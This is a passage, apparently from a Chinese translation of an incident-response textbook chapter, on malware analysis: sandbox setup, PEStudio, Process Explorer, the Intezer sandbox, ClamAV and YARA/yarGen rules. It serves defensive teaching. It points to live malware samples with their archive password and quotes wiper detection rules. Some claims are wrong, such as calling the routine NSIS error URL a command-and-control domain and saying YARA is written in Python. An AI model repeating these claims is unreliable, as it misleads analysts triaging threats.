从恶意代码样本中提取最大数据量的最佳方法是使用静态和动态分析技术对文件进行全面检查。利用这些技术的全方位方法提供了获得恶意软件如何运行、其功能和潜在目标的最佳方式。一个很好的例子是对 Stuxnet 病毒的分析,该病毒曾被用来攻击伊朗的纳坦兹铀浓缩设施。卡巴斯基和赛门铁克的研究人员进行了彻底的分析,为网络安全和国家安全界提供了广泛的分析,揭示了这一复杂恶意软件的能力和目标。
在分析提取指示器的过程中,恶意软件逆向工程面临一些挑战。首先,逆向工程的工具和技术需要大量时间来掌握。逆向工程是一个专业领域,考虑到恶意软件的数量,可能很难立即找到人来进行完整的逆向工程。其次,整个过程本身非常耗时。使用二进制分析工具进行代码的详细静态分析可能需要较长时间。如果其他团队如事件响应团队或安全运营中心需要指示器来进行阻止或调查,等待完整的逆向工程结果并不可取。
在面对这些挑战时,威胁情报和事件响应分析人员可以利用一些工具和技术来提取相关的指标和 TTP(技术、战术和程序),同时等待进行完整反向工程检查的更详细结果。我们将在本章后面讨论这些工具和技术。
恶意软件分类
恶意软件或 malware 是一个总称,指任何旨在损坏、禁用或在计算机系统内产生不良条件的软件。这个定义虽然功能上可行,但在对恶意软件分类时也非常宽泛。有些恶意软件专门编写用于从支付系统中窃取信用卡号码,而其他恶意软件用于接管系统,允许攻击者远程控制该系统。观察这些具体行为的分析人员——例如感染后受损系统如何向互联网发送通信,或者在受感染系统上采取了什么行动——可能能够确定恶意软件的类型以及攻击者的最终目标。
一般而言,在讨论恶意软件时,以下是一些更具体的类别:
-
病毒:在某个时期,病毒一词用于指对计算机系统有害的任何恶意代码。随着恶意软件类型的增加,病毒一词被归类为对系统有故意恶意影响的任何代码。
-
蠕虫:通常是病毒的一部分,蠕虫不仅能对系统产生影响,还能自我复制并影响连接到它的其他系统。最著名的蠕虫之一是 Morris 蠕虫,于 1988 年在全球范围内传播,导致互联网上的拒绝服务(DoS)攻击。
-
特洛伊木马:源自神话中的特洛伊木马,这类恶意软件通常隐藏在合法应用程序或文件中。当不知情的用户打开文件时,恶意软件会感染系统。此类恶意软件通常利用社会工程学攻击感染系统。
-
键盘记录器:此特定恶意软件隐藏在运行系统的背景中,捕获用户的按键输入。然后,将此信息发送给控制器进行审查。编写键盘记录器的程序员通常有兴趣获取凭据。
-
Rootkit:Rootkit 用于隐藏其他恶意代码,如远程访问特洛伊木马(RAT),允许攻击者远程控制被感染的系统。
-
信息窃取恶意软件:通常为单一目的编写,此类恶意软件用于捕获诸如信用卡号码或银行凭据等信息,例如 Shylock 恶意软件,专门用于捕获银行登录信息。
-
后门:作为远程访问的另一种变体,这类恶意软件感染系统后,允许攻击者接管被感染的系统。
-
下载器:随着防御变得越来越复杂,恶意软件编写者也变得越来越高级。下载器是一个多阶段恶意软件程序的一部分。下载器通常会感染一个系统,然后连接到远程服务器获取其余的代码。这种方法常用于绕过安全控制,并且对于恶意软件编写者来说,可以利用更大、更复杂的恶意软件。
-
僵尸网络:僵尸网络是一系列计算机,所有计算机都通过一个名为僵尸网络控制器的中央系统在互联网上进行控制。首先,僵尸网络恶意软件感染一个系统。当感染的系统数量增加时,恶意软件编写者可以利用这个僵尸网络对单一目标发起分布式拒绝服务(DDoS)攻击。
-
勒索软件:勒索软件是一种相对较新的恶意软件,它会加密受害者的文件。然后,恶意软件会向受害者索要支付,通常是以比特币等加密货币的形式,以换取解密密钥。
-
文件清除工具:文件清除工具会销毁文件,或者可能会感染主引导记录(MBR),并修改记录,使文件无法再被系统访问。
这些变种中的许多会一起使用,形成一个链。例如,恶意软件编写者可能会首先感染一个系统,利用伪装成合法应用程序的远程访问木马(RAT)。当一个毫无防备的用户打开应用程序时,代码会自动执行。然后,它会下载第二个有效载荷并进一步感染系统,允许编写者进行远程访问。最后,凭借远程访问,攻击会继续进行,攻击者会寻找支付系统。在那里,他们将第二个恶意软件加载到支付系统中并捕获明文信用卡号码。
恶意软件的另一个关键方面是它的演变。恶意软件的变种数量激增,当前在野外存在的恶意代码数量也非常庞大。恶意软件每天都在进化,新的编码、交付和执行技术快速变化。分析人员应当始终关注这些变化,以便随时为最新的、更具破坏性的代码做好准备。
在进行静态和动态分析之前,我们将先了解如何配置恶意软件沙箱。
设置恶意软件沙箱
分析恶意软件时,一个重要的考虑因素是如何在一个安全的环境中处理恶意软件,而不会不小心感染你的系统。恶意软件沙箱是一个受控环境,分析人员可以在其中进行恶意软件的静态和动态分析,而不会有感染生产系统的风险。在这种情况下,我们将讨论两种类型的沙箱;本地沙箱允许分析人员配置一个完全由他们控制的系统,而基于云的选项则允许分析人员利用动态分析。
本地沙箱
本地沙盒是一个已经配置了设置和工具的系统,在这个系统中分析员可以在受控环境中检查恶意软件。配置本地沙盒的一种技术是使用虚拟化超级监视器,例如 Virtual Box 或 VMWare,并在其上配置操作系统。使用虚拟化进行沙盒有关键优势。我们已经解决了第一个问题:如果分析员感染了系统,它不会影响生产系统。第二个优势是快照功能。分析员可以根据自己的喜好配置沙盒,然后进行快照。分析完成后,他们可以回滚到快照状态,获得一个全新的安装。
过程的第一步是选择超级监视器。从这里开始,微软制作了包括服务器在内的最流行的 Windows 操作系统的副本。例如,已经配置好的 Windows 10 虚拟机可以从developer.microsoft.com/en-us/windows/downloads/virtual-machines下载,或者可以从www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise下载 Windows 10 ISO。
安装完成后,分析员可以将任何工具或脚本下载到虚拟机中。这可能会耗费时间,这取决于分析员希望包含的工具数量。另一个选择是利用预配置的工具包,如 REToolKit,可以从github.com/mentebinaria/retoolkit获取。此安装程序下载各种用于静态和动态恶意软件分析的工具。另一个选择是使用Mandiant FLARE v 2.0。FLARE 利用 PowerShell 脚本在各种 Windows 平台上下载和配置本地沙盒。FLARE 的安装和使用说明可在github.com/mandiant/flare-vm.找到。
在完成沙盒设置后,分析员应立即对全新安装进行快照。这样可以确保每次分析都使用全新安装,避免交叉污染。这还意味着,如果分析员意外执行了恶意软件,他们可以简单地回滚到全新安装状态,重新尝试。
配置本地恶意软件沙箱时有几个注意事项。首先,确保移除任何网络连接。根据虚拟机管理程序和网络配置的不同,如果虚拟机与其他系统共享网络连接,恶意软件有可能通过网络传播。此外,有些恶意软件可以逃脱虚拟机。你应将沙箱限制为那些必要时可以清除的主机。第三个考虑因素是,一些恶意软件变种可以识别它们是否在虚拟机中执行。如果分析人员试图在沙箱中执行这些恶意软件,并且它们是这些“沙箱感知型”变种之一,那么它们可能无法正常执行,这常常让分析人员感到沮丧。
云沙箱
分析人员可以使用的一个选项是基于云的沙箱版本,它们通常是商业或社区资源,托管在云端。分析人员通常可以上传文件或文件哈希,并选择操作系统类型,沙箱会自动完成其余的工作。
使用该解决方案的主要优势是节省时间和资源。分析人员无需维护沙箱或经历让恶意软件运行的压力。此外,这个解决方案通常能在几分钟内提供结果,包括关于 IOC 和恶意软件行为的详细报告。
这类解决方案的一个主要缺点是,分析人员有时无法控制解决方案收集的数据。例如,像 VirusTotal 这样的开源解决方案会将结果公开给任何人。威胁行为者监控这些网站,以便发现目标是否上传了样本,这种情况并不罕见。如果你使用的是云沙箱,建议使用不会将结果发布给更大安全社区的沙箱。
有了沙箱环境,接下来我们来看看静态恶意软件分析。
静态分析
静态分析涉及检查实际的恶意软件代码,而无需在系统上执行它。对于恶意软件研究人员来说,代码可能来自故意感染的系统,或者来自受到恶意软件影响的生产系统。
在这种情况下,事件响应分析人员可以通过内存分析和获取硬盘分析时的实际可执行文件,结合两者来获得代码或可执行文件。静态分析通常包括几种不同的技术,具体如下:
-
指纹识别:最基本的技术之一是获取代码的加密哈希值。这些哈希值可以与其他已知哈希值进行比较,以判断代码是否曾经出现过。
-
杀毒扫描:杀毒软件供应商通常无法捕捉到所有病毒。例如,有些供应商可能已经分析了代码并为其产品部署了签名,其他供应商可能没有接触到这些代码或没有部署签名。一个好的步骤是使用多个不同的杀毒软件供应商来扫描一个文件。
-
字符串提取:恶意软件编程者通常会在恶意软件中以明文形式包含 IP 地址、错误信息或其他数据。找到这些字符串可能帮助分析员识别指挥与控制(C2)服务器或其他可能表明恶意软件目的的数据。
-
文件格式:无论是合法的还是非法的可执行文件,都会有相关的元数据。恶意软件分析员可以查看便携式可执行文件格式应用程序的编译时间、函数、字符串、菜单和图标。
-
打包器分析:为了绕过杀毒程序,恶意软件编程者利用打包器。这些打包器通过压缩或加密,使得它们不会留下明显的文件哈希。有一些工具可用,但通常,针对打包的恶意软件进行静态分析是困难的。
-
反汇编:通过使用专门的软件反向工程代码,可以让恶意软件分析员查看汇编代码。从这里,分析员可能能够确定恶意软件试图执行的操作。
与动态分析相比,静态分析可能显得有些繁琐。尽管很多搜索和分析是手动完成的,但也有一些优势。首先,在不执行代码的情况下进行检查更加安全。尤其是在没有全面沙盒解决方案的组织中,这一点尤为重要。此外,静态分析提供了更全面的分析,并能更好地理解恶意软件编程者的意图。
静态分析也有一些缺点。这种技术要求恶意软件代码的完整性,以达到最佳效果。另一个关键缺点是进行分析所需的时间。随着恶意软件越来越复杂,进行静态分析所需的时间可能超过了组织能够承受的范围。
在发生事件时,这个问题尤为突出,事件响应团队可能更希望得到一种可以解决大部分问题的分析,而不是等最全面的分析结果。
静态属性分析
我们将从检查可疑文件的静态属性开始。在这个案例中,我们将使用一个工具来概览文件属性,并提供潜在的指示信息。这是一种直接使用开源工具进行分析的方法。在这个例子中,我们将分析一个来自 Abuse.ch 的恶意软件样本,这个样本可以在 bazaar.abuse.ch/sample/6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242/ 找到。一旦你下载了样本,就需要使用 infected 密码解压文件。
安全处理恶意软件
处理恶意软件样本的标准做法是使用类似 7-Zip 的工具压缩文件,并使用被感染的密码。这达到了两个目的。首先,它减少了分析员在移动或复制恶意软件时,意外在生产环境中引爆恶意软件的机会。其次,如果分析员没有在沙盒中禁用他们的恶意软件保护,这种方法可以防止恶意软件被隔离或删除。
现在我们有了一个活跃的恶意软件样本,接下来让我们看看可以通过 PEStudio 查找到的具体属性。
PEStudio
在这个例子中,我们将使用免费的 PEStudio 工具(可从 www.winitor.com/download 下载)。这个工具可以快速提取文件中的遗物进行分析。下载后,工具将打开以下窗口。可疑的恶意软件文件可以直接拖放到窗口中,如 图 16.2 所示,或者你也可以通过窗口左上角的文件夹图标添加它们:
图 16.2 – PEStudio 的恶意软件加载窗口
请解压可疑文件并将其拖入窗口中。分析结果将立即开始填充,如 图 16.3 所示。在这种情况下,我们可以看到文件哈希,以及其他指示文件是可执行文件的元数据,正如在 first-byte-text 条目中看到的那样——即 MZ:
图 16.3 – PEStudio 元数据视图
点击 indicators(指示器)部分,可以看到 46 个独立的文件指示器。其中有几个非常可疑。文件引用了 URL 模式 条目,如 图 16.4 所示,尤其有用,因为它表明恶意软件编码者插入了一个恶意 URL,nsis.sf.net/NSIS_Error,该 URL 可能建立命令与控制(C&C)或下载第二阶段恶意软件:
图 16.4 – PEStudio 指示器视图
PEStudio 还可以从恶意软件中提取字符串。这对于重建恶意软件的一些行为非常有用。例如,在 图 16.5 中,我们可以看到文件偏移 0x00007066 处的字符串值为 RegCloseKey,这表明恶意软件很可能会修改系统注册表设置。此外,字符串是查找特定 IOCs 的最佳位置之一。在本例中,我们可以看到 C2 域名,即 nsis.sf.net/:
图 16.5 – PEStudio 字符串
PEStudio 允许事件响应人员对可疑恶意软件进行 10,000 英尺的概览。此外,他们可能能够确定是否可以提取特定的 IOCs(指标)。正如我们所看到的,我们至少能够识别出这个恶意软件使用的域名,以及像注册表修改等特定行为。依赖这种方法的主要缺点是,我们仍然对这个恶意软件知之甚少。像混淆和持久性等技术细节,以及其他行为,仍然未知。为了了解这些,我们需要进行更加全面的分析。
动态分析
在静态分析中,重点是检查潜在的恶意软件在受控环境中的表现,通常是检查实际的代码或寻找可以与其他来源进行比较的特定文件属性。而在动态分析中,重点是让潜在的恶意软件在受控环境中执行,并观察程序表现出的行为。
动态分析为恶意软件研究人员和事件响应人员提供了几个优势。首先,允许代码完全执行将去除诸如加密或恶意软件编写者使用的其他混淆技术等障碍。其次,可以利用多个自动化工具进行动态分析。这消除了手动过程,因为随着恶意软件复杂度的增加,手动分析会变得非常繁琐。最后,动态分析通常更快,因为研究人员可以实时监控潜在恶意软件在系统上的工作方式。
动态恶意软件分析可以利用以下两种广泛的分类:
-
已定义点分析:在此方法中,将一个测试操作系统(如 Windows 7)配置为实时生产状态。分析师记录下各类注册表键设置、进程和网络连接。一旦这些记录完成,疑似恶意软件将在该系统上执行。当分析师确信恶意软件已完全执行后,他们将比较系统的两个点,如比较运行中的进程或识别系统变化。此类分析可以利用前几章中介绍的一些取证技术。例如,分析师可以获取一个刚安装的操作系统并进行内存捕获。然后,将其与来自受感染机器的内存捕获进行比较,从而为分析师提供一个参考点,帮助识别恶意软件的特定行为。
-
运行时行为分析:在此方法中,分析师利用 Process Explorer 等工具以及其他实用程序来观察可疑恶意软件在执行过程中的行为。一些工具可以自动化大部分过程,从而帮助分析师深入理解恶意软件的执行方式。
Process Explorer
允许对正在执行的恶意软件进行详细检查的关键工具之一是 Process Explorer。该工具是 Windows Sysinternals 工具套件的一部分,提供一个免费的平台,帮助分析师了解每个进程正在运行的内容及其父进程,并检查 CPU 使用情况。只需从以下网站下载应用程序:technet.microsoft.com/en-us/sysinternals/process-explorer。
提取内容,然后双击适用的 Process Explorer 版本(32 位或 64 位版本)。将会出现以下窗口:
图 16.6 – Process Explorer
如图所示,分析师可以获取到若干关键的信息。此工具的主要优势在于其可视化表现。与尝试使用原生 Windows 工具或其他内存分析工具捕获后进行分析相比,分析师可以快速查看是否有进程看起来可疑。
分析师可以将一个进程及其相关数据发送到www.virustotal.com/gui/home/upload。如果发现可疑进程,Process Explorer 会将信息发送到该站点进行分析和比对。如果识别出一个进程,点击窗口中的该进程,导航到 进程,然后检查 VirusTotal。结果将以 72 分制的数字形式显示,如下截图所示:
图 16.7 – PCHealthCheck.exe VirusTotal 检查
Process Explorer 提供的另一个关键功能是能够像 Volatility 一样转储进程内容。主要区别在于,分析人员可以在无需获取内存镜像的情况下进行转储。要转储内存,请点击进程,导航到 进程,然后点击 创建转储。分析人员可以选择生成最小转储或完整转储。作为标准做法,建议捕获完整转储。然后可以将此转储保存到所选目录。
进程生成控制
在检查恶意软件时,可以利用的一种技术是创建一个具有适当 Windows 操作系统的虚拟机。最好从一个基础操作系统开始,并安装 Microsoft Office 套件。如果恶意代码利用了这些应用程序中的漏洞,则可以稍后安装其他第三方程序。在这种类型的检查中,一个有用的工具是进程生成控制。这个 PowerShell 脚本可通过 github.com/felixweyne/ProcessSpawnControl 获取,它允许响应者控制恶意软件的执行并观察在 Process Explorer 中采取的操作。要进行此类分析,请按照以下步骤操作:
-
启动 Process Explorer 并运行几秒钟。
-
在 PowerShell 终端中,执行
ProcessSpawnControl.ps1脚本。如果出现提示,选择 仅运行一次。 -
进程生成控制将暂停所有可执行文件,而不仅仅是潜在的恶意软件。启动后,打开 Windows
notepad.exe可执行文件,以下窗口应显示:
图 16.8 – 进程生成控制 notepad.exe 挂起
- 在 Process Explorer 窗口中,
notepad.exe进程将显示为挂起状态,如下图所示:
图 16.9 – Process Explorer 中的 notepad.exe 挂起
- 点击
notepad.exe进程将执行,如下所示:
图 16.10 – Process Explorer 中的 notepad.exe 正在运行
将这些工具结合使用可以让响应者了解潜在恶意软件可执行文件的功能以及它可能采取的执行路径。这些数据结合通过内存或日志文件分析获得的其他证据,可以提供有关恶意软件如何破坏系统的额外背景信息。
虽然动态分析有明显的优势,但事件响应者应该理解在系统中引爆可疑恶意软件之前需要解决的一些问题。首先,必须配置一个受控环境。
可疑的恶意软件绝不能在生产环境中执行。研究人员和事件响应者应确保任何测试或分析环境与生产环境完全隔离。
另一个问题是创建适当的动态分析环境所需的资源数量。恶意软件研究人员和事件响应人员利用沙箱环境来分析恶意软件。沙箱就是一个受控环境,在其中可执行可疑的恶意软件,并进行相关分析。对于从事恶意软件研究的组织来说,这个沙箱可能非常庞大,因为应当维护各种操作系统及其补丁级别的副本。例如,一个组织要测试影响 Windows 操作系统的恶意软件样本时,通常需要拥有 Windows XP、Windows 7、Windows 8 以及最终的 Windows 10 实例,并且需要包含各种补丁级别。这使得他们可以精准地定位受恶意软件影响的特定操作系统。除了操作系统,分析人员还需要拥有内存镜像。
自动化分析
市面上有各种各样的自动化沙箱提供商。使用这些服务时,特别是那些属于社区访问权限的服务时,需要记住的一个警告是,上传进行分析的样本可能会被公开。已知攻击者会监视各种自动化沙箱平台,查看他们的代码何时被分析。如果恶意软件是在事件响应过程中从系统中提取并上传的,你可能已经暴露了你的行动。对于操作安全(OPSEC)至关重要的情况,市面上也有不共享样本的商业解决方案。
Intezer 沙箱
为了展示在线沙箱的一些关键功能,我们将查看位于analyze.intezer.com/的 Intezer Analyze 沙箱,如图 16.11所示。该服务的社区版允许你搜索文件哈希值,类似于我们在查看 VirusTotal 和 Hybrid Analysis 等站点时所做的那样。在进行完整分析之前,应该进行的一个步骤是,通过像 PEStudio 这样的工具提取文件哈希值,并搜索该哈希值,以确定样本是否已在沙箱中运行过。这一步骤可以节省时间。在这种情况下,我们将通过运行一个样本来突出展示通过完整沙箱分析获得的功能:
图 16.11 – Intezer Analyze 文件上传
在此案例中,我们将使用与 PEStudio 一起检查的相同样本。该样本可以通过网页浏览器上传到沙箱,方法是将文件拖放或浏览主机文件系统。如图 16.12所示,一旦样本被拖入网页浏览器,元数据将会自动填充:
图 16.12 – Intezer 元数据
上面的截图显示了文件的元数据,包括文件的哈希值。我们几乎立即看到的另一个关键信息是,文件在沙箱中执行后,与 NSIS 安装程序共享了字符串和其他属性,NSIS 使用 Nullsoft 可脚本化安装系统。NSIS 是一种用于构建 Windows 可执行文件的开源工具。NSIS 恶意软件变种使用一种混淆技术,试图通过使用非恶意插件(如作为背景图像的位图图像和非恶意的 uninst.exe 卸载程序)伪装成合法的安装程序。这类木马恶意软件在勒索软件攻击中使用得越来越多。这是使用此类服务的一个主要优势,因为我们获得了关于该文件的额外上下文,如果我们仅停留在静态分析中,我们是无法获得这些信息的:
图 16.13 – Intezer – 通用摘要
执行恶意软件后,我们将看到如下面截图所示,Intezer 分析返回了总体结果,表明该文件与 Loki 木马恶意软件家族有关:
图 16.14 – Intezer 恶意软件定罪
图 16.15中的分析输出显示了 Intezer 分析的其他样本,这些样本使用了 NSIS 安装程序。重用的基因展示了我们分析的样本与其他过去分析的样本之间的关系。这在多种恶意软件家族中是常见的现象:
图 16.15 – 重用的基因
像 Loki 这样的恶意软件通常作为“商品恶意软件”进行出售。这使得威胁行为者可以购买代码并根据需要进行修改。这意味着,仅仅将某段特定的代码归因于某个威胁行为者,并不意味着只有该威胁行为者有权限访问该代码。全球各地的威胁行为者,且具有不同技能水平的,将使用并重复使用这些代码,这使得将恶意软件归因于特定团体变得复杂。
如图 16.16所示的代码部分展示了恶意软件中的各种代码指令。这些指令在威胁情报方面可能没有立即的价值,但通常为更详细的静态分析提供了一个起点,正如我们之前所指出的,这是一个耗时的过程:
图 16.16 – 代码分析
接下来的标签显示了在分析过程中提取的字符串。图 16.17展示了我们在使用 PEStudio 分析代码时首次观察到的相同 URL (nsis.sf.net/NSIS_Error):
图 16.17 – 字符串
在功能标签下,分析提供了恶意软件所利用的 MITRE ATT&CK 战术和技术的详细分类。如我们在防御规避战术列中所见,恶意软件会混淆文件或信息。这与我们在元数据中识别出的 NSIS 安装包一致:
图 16.18 – MITRE ATT&CK 技术
最终,分析提供了我们可以在图 16.19中看到的网络和文件 IOC:
图 16.19 – 恶意软件 IOC
在自动沙箱方面,有许多提供商可供选择。其他潜在的选择包括Joe Sandbox、Hybrid Analysis和App.any。杀毒软件提供商通常会包含一个沙箱功能,提供类似我们在此探索的功能。再次提醒,确保你完全了解沙箱解决方案是否会将你上传的样本提供给公众使用。一种在 OPSEC 至关重要的情况下可行的技术是获取文件的哈希值,并在沙箱解决方案中搜索是否有上传相同哈希值的文件。这将产生相同的结果而不会暴露你的意图。如果没有其他组织或个人上传相同的文件,最好使用不共享分析结果的解决方案。通常,这类解决方案是通过商业产品实现的,规定你的信息不会被共享。
ClamAV
进行静态分析的第一步是确定待分析的潜在恶意软件是否已被之前识别。单个样本的哈希值可以上传到像 VirusTotal 这样的站点,但如果响应者通过分析获得了多个文件,他们需要能够判断是否有文件值得进一步检查。
一种技术是使用商业杀毒扫描器扫描目录。在这种情况下,可以利用一个免费的开源工具 ClamAV。ClamAV 是一个命令行工具,允许响应者扫描包含各种可疑文件格式的目录。在此,识别出的可疑文件可以进一步由响应者分析。
要设置 ClamAV,请访问www.clamav.net/downloads下载软件包。在此示例中,我们将使用 Windows MSI 文件来安装 ClamAV。
ClamAV 的有效性在很大程度上依赖于扫描包中包含的签名。一些恶意软件变种可能没有对应的签名,因此会未被检测到。了解这一点后,ClamAV 是检查大量潜在恶意软件文件并识别已知文件的有用工具。以下是适用于 Windows 操作系统的安装说明:
-
访问 ClamAV 下载页面
www.clamav.net/downloads#otherversions,并下载 Windows MSI 文件。 -
运行安装程序。默认设置将把 ClamAV 文件放置在
C:\ProgramFiles\ClamAV目录中。 -
导航到
ClamAV目录并运行以下两条命令。这些命令将把配置文件移动到适当的 ClamAV 目录:copy .\conf_examples\freshclam.conf.sample .\freshclam.confcopy .\conf_examples\clamd.conf.sample .\clamd.conf -
移动配置文件后,使用 WordPad 打开每个文件,并删除两个配置文件中显示
Example的那一行:
图 16.20 – 配置文件条目
-
移除两个配置文件中的行后,恶意软件签名库需要更新。请导航到
ClamAV文件夹并在命令行中运行以下命令:C:\Program Files\ClamAV>freshclam.exe
这将生成以下输出:
图 16.21 – FreshClam 签名更新
ClamAV 可以作为传统的防病毒程序使用,但在本例中,我们将探讨如何使用它来扫描一个包含可疑文件的目录。在这个例子中,使用了来自Malware-traffic-Analysis.net的文件。你可以从www.malware-traffic-analysis.net/2021/10/13/2021-10-13-Dridex-malware-and-artifacts.zip下载样本文件。下载并解压文件。只需将clamscan.exe指向包含可疑恶意软件的目录,然后运行clamscan.exe。例如,以下命令会将 Clamscan 应用于名为Suspected Malware的目录:
C:\Program Files\ClamAV>clamscan.exe "C:\Users\flare\Documents\Suspected Malware"
此命令将加载签名文件,然后比较文件并生成以下结果:
图 16.22 – Clamscan 输出
在此案例中,有一个文件与签名匹配,Xls.Downloader.SquirrelWaffle1021-9903731-0。
ClamAV 的效能在很大程度上取决于扫描包中包含的签名。一些恶意软件变种可能没有相应的签名,因此无法被检测到。了解这一点后,ClamAV 是检查许多潜在恶意软件文件并识别已知文件的有用工具。应对缺失签名问题的一个好方法是使用多个恶意软件防护厂商对同一文件样本进行扫描。这将增加识别任何可疑文件的可能性。
YARA
一款从恶意软件分析社区进入威胁情报领域的工具是 YARA。这个开源工具因其能够解析大量数据并指示是否有匹配的字符串或数据模式,常被拿来与 Linux 的 GREP 命令作比较。YARA 的缩写代表什么意思一直是友好讨论的话题,有人认为是 YARA: 另一个递归缩写,也有作者偏好称其为 Yet Another Ridiculous Acronym(又一个荒谬的缩写)。抛开命名不谈,YARA 工具作为事件响应人员和恶意软件研究人员的瑞士军刀,具备的功能也能被分析师充分利用。
YARA 工具由 VirusTotal 维护,分为两个组件。其中第一个是扫描工具。这个用 Python 编写的工具是扫描文件(如内存转储、磁盘映像或疑似恶意可执行文件)以匹配指标的引擎。由于该工具是开源的,且具备强大的功能,第三方工具也利用 YARA 规则结构。Florian Roth 的 Nextron Systems 提供的 Loki 扫描工具就将 YARA 集成到了其扫描软件中。数字取证内存分析工具 Volatility 在分析内存捕获时也能使用 YARA 规则。
YARA 文档
YARA 的完整文档可以在 yara.readthedocs.io/en/stable/index.html 上找到。这个资源包含了如何在 Linux、Windows 和 macOS 上安装 YARA 扫描引擎的指引,以及关于整个工具集的详细说明。
YARA 的第二个组件是规则。这些规则类似于其他模式匹配模式,例如 SNORT 入侵检测系统规则。扫描引擎将文件分析结果与包含 IOCs(入侵指标)的规则集合进行比较。考虑到 YARA 的实用性,恶意软件分析服务商通常会在其发布的分析中包含 YARA 规则,例如以下 YARA 规则,该规则摘自网络安全和基础设施安全局,详细内容可见 www.cisa.gov/uscert/ncas/analysis-reports/ar22-115b。此规则与 ISAACWIPER 恶意软件变种相关:
rule CISA_10376640_01 : trojan wiper ISAACWIPER
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10376640"
Date = "2022-03-14"
Last_Modified = "20220418_1900"
Actor = "n/a"
Category = "Trojan Wiper"
Family = "ISAACWIPER"
Description = "Detects ISACC Wiper samples"
MD5_1 = "aa98b92e3320af7a1639de1bac6c17cc"
SHA256_1 = "abf9adf2c2c21c1e8bd69975dfccb5ca53060d8e1e7271a5e9ef3b56a7e54d9f"
MD5_2 = "8061889aaebd955ba6fb493abe7a4de1"
SHA256_2 = "afe1f2768e57573757039a40ac40f3c7471bb084599613b3402b1e9958e0d27a"
MD5_3 = "ecce8845921a91854ab34bff2623151e"
SHA256_3 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
strings:
$s0 = { 73 00 74 00 61 00 72 00 74 00 20 00 65 00 72 00 61 00 73 00 69 00 6E 00 67 }
$s1 = { 6C 00 6F 00 67 00 69 00 63 00 61 00 6C }
$s2 = { 46 00 41 00 49 00 4C 00 45 00 44 }
$s3 = { 5C 00 6C 00 6F 00 67 00 2E 00 74 00 78 00 74 }
$s4 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F }
$s5 = {53 74 61 72 74 40 34}
$s6 = {3B 57 34 74 2D 6A}
$s7 = {43 6C 65 61 6E 65 72 2E}
condition:
all of ($s0,$s1,$s2,$s3,$s4) or all of ($s5,$s6,$s7)
}
前述 YARA 规则包含四个部分。让我们详细看看每一部分。第一部分是 rule CISA_10376640_01 : trojan wiper ISAACWIPER。
这标识了 YARA 规则,并且应该对作者有意义。一个好的规则是使用恶意软件变种的名称,正如前述规则所示。
第二个组成部分是规则的元数据。在前面的规则中,这通过 meta: 行来标识。元数据可以包括描述规则的字段。与前面的规则一样,这包括作者、事件编号、日期以及与恶意软件相关的各种哈希值。YARA 规则在元数据部分提供了很大的灵活性。任何可能有帮助的信息都可以包含在内。
接下来是 YARA 规则的核心部分,那就是它的字符串。字符串通常通过分析获得,例如我们在前一个示例中看到的使用 PEStudio。这些字符串可以是十六进制字符串、文本字符串或正则表达式。文本字符串可以与以下修饰符一起使用:
-
nocase:表示字符串不区分大小写。这为规则作者提供了更多的灵活性,以便在恶意软件中找到文本字符串。例如,如果作者想要包括“malware”一词的所有变体,YARA 规则中的行将类似于$string1 = "malware" nocase。 -
wide:恶意软件二进制文件通常使用每个字符两字节编码的字符串。wide 修饰符用于查找以这种方式编码的字符串。以前面的示例为例,可以将修饰符添加到字符串中:$string1 = "malware"nocase wide。 -
fullword:如果规则作者仅希望匹配由非字母数字字符分隔的字符串,则应使用fullword修饰符。例如,在前面的示例中,如果规则作者只想匹配类似 malware 的字符串,而不是 antimalware 或 malwared,可以使用此修饰符。 -
xor:此修饰符查找使用 XOR 函数加密的字符串。在查看与已知命令和控制框架(如 Cobalt Strike)相关的代码时,记住这一点非常有用。在 第十六章中,我们将讨论使用 XOR 函数绕过检测控制的常见勒索软件攻击。 -
Base64:威胁行为者的另一个常见策略是使用 Base64 编码的脚本。此修饰符用于识别恶意软件文件中的编码字符串。
在示例 YARA 规则中,字符串由几个十六进制字符串组成,例如:$s1 = { 6C 00 6F 00 67 00 69 00 63 00 61 00 6C }。
YARA 规则的最后一部分是其条件。这些条件设置了识别样本是否与 YARA 规则匹配的参数。这些是程序员已经熟悉的布尔表达式。YARA 能够理解典型的布尔操作符、关系操作符、算术操作符以及位操作符。
YARA 是一个灵活的工具,可以用来识别多种文件位置中是否存在恶意软件或漏洞利用程序。此外,YARA 是一个开源项目,拥有广泛的贡献者,从商业杀毒软件开发者到独立研究人员,他们为社区提供规则。在下一章中,我们将了解这些规则如何应用于事件调查。但在我们结束之前,我们将先看一个简单的工具,帮助分析员编写自己的规则。
YarGen
事件响应和恶意软件分析员通常需要为大量恶意软件样本创建规则。根据恶意软件的复杂性和数量,这往往是一个耗时的过程。为了帮助创建 YARA 规则,Florian Roth 开发了一个基于 Python 的工具,名为 YarGen,它自动化了 YARA 规则的创建。
YarGen 可以从 GitHub 下载,地址为 github.com/Neo23x0/yarGen,并可以安装在任何能够执行 Python 脚本的系统上。安装完成后,可以针对恶意软件样本目录运行脚本。在此案例中,我们将针对之前检查过的恶意软件样本运行脚本。此时,以下命令将运行脚本并对该样本进行检查:
remnux@remnux:~/yarGen-master$ python3 yarGen.py -m /home/remnux/Downloads/malware_samples/
图 16.23 表示脚本正在运行:
图 16.23 – YarGen YARA 规则生成器
该命令生成以下 YARA 规则。值得注意的是,规则应经过审查并根据需要修改,因为该工具并不能完美匹配字符串和其他数据。因此,分析员应对输出的规则进行清理和后处理,以确保规则不包含任何不必要的字符串或条件,这些字符串或条件可能会增加误报率:
/*
YARA Rule Set
Author: yarGen Rule Generator
Date: 2022-07-27
Identifier: malware_samples
Reference: https://github.com/Neo23x0/yarGen
*/
/* Rule Set ----------------------------------------------------------------- */
rule sig_6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242
{
meta:
description = "malware_samples - file 6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242.exe"
author = "yarGen Rule Generator"
reference = "https://github.com/Neo23x0/yarGen"
date = "2021-07-27"
hash1 = "6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242"
strings:
$x1 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersio" ascii
